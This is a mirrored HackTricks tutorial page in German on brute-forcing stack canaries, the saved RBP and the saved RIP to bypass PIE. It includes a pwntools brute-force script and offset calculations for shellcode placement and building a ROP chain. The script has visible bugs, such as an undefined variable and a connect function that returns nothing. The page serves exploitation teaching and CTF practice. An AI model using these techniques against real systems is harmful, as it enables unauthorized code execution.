mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
91 lines
4.7 KiB
Markdown
91 lines
4.7 KiB
Markdown
# BF-Adressen im Stack
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**Wenn Sie es mit einer binären Datei zu tun haben, die durch einen Canary und PIE (Position Independent Executable) geschützt ist, müssen Sie wahrscheinlich einen Weg finden, diese zu umgehen.**
|
|
|
|
.png>)
|
|
|
|
> [!NOTE]
|
|
> Beachten Sie, dass **`checksec`** möglicherweise nicht erkennt, dass eine binäre Datei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und die Funktion nicht identifizieren kann.\
|
|
> Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert zu Beginn eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.
|
|
|
|
## Brute-Force-Adressen
|
|
|
|
Um **PIE zu umgehen**, müssen Sie **eine Adresse leaken**. Und wenn die binäre Datei keine Adressen leakt, ist es am besten, **die im Stack gespeicherten RBP und RIP** in der verwundbaren Funktion zu brute-forcen.\
|
|
Wenn beispielsweise eine binäre Datei sowohl durch einen **Canary** als auch durch **PIE** geschützt ist, können Sie mit dem Brute-Forcen des Canaries beginnen, dann werden die **nächsten** 8 Bytes (x64) das gespeicherte **RBP** und die **nächsten** 8 Bytes das gespeicherte **RIP** sein.
|
|
|
|
> [!TIP]
|
|
> Es wird angenommen, dass die Rücksprungadresse im Stack zum Hauptbinärcode gehört, was normalerweise der Fall ist, wenn die Verwundbarkeit im Binärcode liegt.
|
|
|
|
Um das RBP und das RIP aus der binären Datei zu brute-forcen, können Sie herausfinden, dass ein gültig geratenes Byte korrekt ist, wenn das Programm etwas ausgibt oder einfach nicht abstürzt. Die **gleiche Funktion**, die zum Brute-Forcen des Canaries bereitgestellt wird, kann verwendet werden, um das RBP und das RIP zu brute-forcen:
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
# CANARY BF HERE
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
|
|
# PIE BF FROM HERE
|
|
print("Brute-Forcing RBP")
|
|
base_canary_rbp = get_bf(base_canary)
|
|
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
|
print("Brute-Forcing RIP")
|
|
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
|
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
|
```
|
|
Das letzte, was Sie benötigen, um das PIE zu besiegen, ist, **nützliche Adressen aus den geleakten** Adressen zu berechnen: das **RBP** und das **RIP**.
|
|
|
|
Vom **RBP** aus können Sie berechnen, **wo Sie Ihre Shell im Stack schreiben**. Dies kann sehr nützlich sein, um zu wissen, wo Sie die Zeichenfolge _"/bin/sh\x00"_ im Stack schreiben werden. Um die Entfernung zwischen dem geleakten RBP und Ihrem Shellcode zu berechnen, können Sie einfach einen **Breakpoint setzen, nachdem Sie das RBP geleakt haben**, und überprüfen, **wo sich Ihr Shellcode befindet**. Dann können Sie die Entfernung zwischen dem Shellcode und dem RBP berechnen:
|
|
```python
|
|
INI_SHELLCODE = RBP - 1152
|
|
```
|
|
Von der **RIP** können Sie die **Basisadresse des PIE-Binaries** berechnen, die Sie benötigen, um eine **gültige ROP-Kette** zu erstellen.\
|
|
Um die Basisadresse zu berechnen, führen Sie einfach `objdump -d vunbinary` aus und überprüfen Sie die letzten disassemblierten Adressen:
|
|
|
|
.png>)
|
|
|
|
In diesem Beispiel sehen Sie, dass nur **1 Byte und eineinhalb benötigt werden**, um den gesamten Code zu lokalisieren. Die Basisadresse in dieser Situation wird die **geleakte RIP sein, die auf "000" endet**. Wenn Sie beispielsweise `0x562002970ecf` geleakt haben, beträgt die Basisadresse `0x562002970000`.
|
|
```python
|
|
elf.address = RIP - (RIP & 0xfff)
|
|
```
|
|
## Verbesserungen
|
|
|
|
Laut [**einigen Beobachtungen aus diesem Beitrag**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking) ist es möglich, dass der Server beim Leaken von RBP- und RIP-Werten nicht abstürzt, wenn einige Werte nicht die richtigen sind, und das BF-Skript denkt, es hätte die richtigen Werte erhalten. Das liegt daran, dass **einige Adressen es einfach nicht brechen werden, selbst wenn sie nicht genau die richtigen sind**.
|
|
|
|
Laut diesem Blogbeitrag wird empfohlen, eine kurze Verzögerung zwischen den Anfragen an den Server einzuführen.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|